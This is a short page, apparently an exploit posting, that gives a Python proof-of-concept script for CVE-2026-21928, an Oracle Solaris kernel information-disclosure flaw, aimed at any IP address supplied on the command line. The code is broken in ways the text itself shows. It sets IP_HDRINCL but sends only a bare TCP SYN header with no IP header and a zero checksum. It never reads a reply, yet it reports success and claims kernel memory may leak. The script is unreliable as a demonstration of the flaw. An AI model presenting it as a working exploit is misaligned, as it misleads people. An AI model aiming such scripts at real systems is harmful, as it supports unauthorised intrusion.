CVE-2026-21928: Oracle Solaris Kernel组件未授权信息泄露漏洞

# CVE-2026-21928 PoC - Oracle Solaris Kernel Information Disclosure # This PoC demonstrates network-based information disclosure attempt # Note: This is for authorized security testing only import socket import struct import sys def create_tcp_probe_packet(target_ip, target_port): """ Create a probe packet targeting Oracle Solaris kernel This simulates the network request that triggers the vulnerability """ # TCP header structure src_port = 44444 dst_port = target_port seq_num = 0 ack_num = 0 data_offset = 5 # 20 bytes header flags = 0x02 # SYN flag window = 65535 checksum = 0 urgent_ptr = 0 tcp_header = struct.pack('!HHLLBBHHH', src_port, dst_port, seq_num, ack_num, (data_offset << 4), flags, window, checksum, urgent_ptr) return tcp_header def exploit_cve_2026_21928(target_ip, target_port=0): """ Attempt to trigger CVE-2026-21928 information disclosure Args: target_ip: Target Oracle Solaris system IP address target_port: Target port (typically 0 for raw socket) Returns: bool: True if exploitation appears successful """ print(f"[*] Targeting Oracle Solaris system: {target_ip}") print(f"[*] Attempting to trigger CVE-2026-21928...") try: # Create raw socket sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP) sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) # Create probe packet packet = create_tcp_probe_packet(target_ip, target_port) # Send packet sock.sendto(packet, (target_ip, target_port)) sock.close() print(f"[+] Probe packet sent successfully") print(f"[!] Note: This is an information disclosure vulnerability") print(f"[!] Successful exploitation may reveal kernel memory or system data") return True except PermissionError: print(f"[-] Error: Root privileges required for raw socket operations") return False except Exception as e: print(f"[-] Error: {str(e)}") return False def main(): if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [target_port]") print(f"Example: {sys.argv[0]} 192.168.1.100 0") sys.exit(1) target_ip = sys.argv[1] target_port = int(sys.argv[2]) if len(sys.argv) > 2 else 0 exploit_cve_2026_21928(target_ip, target_port) if __name__ == "__main__": main()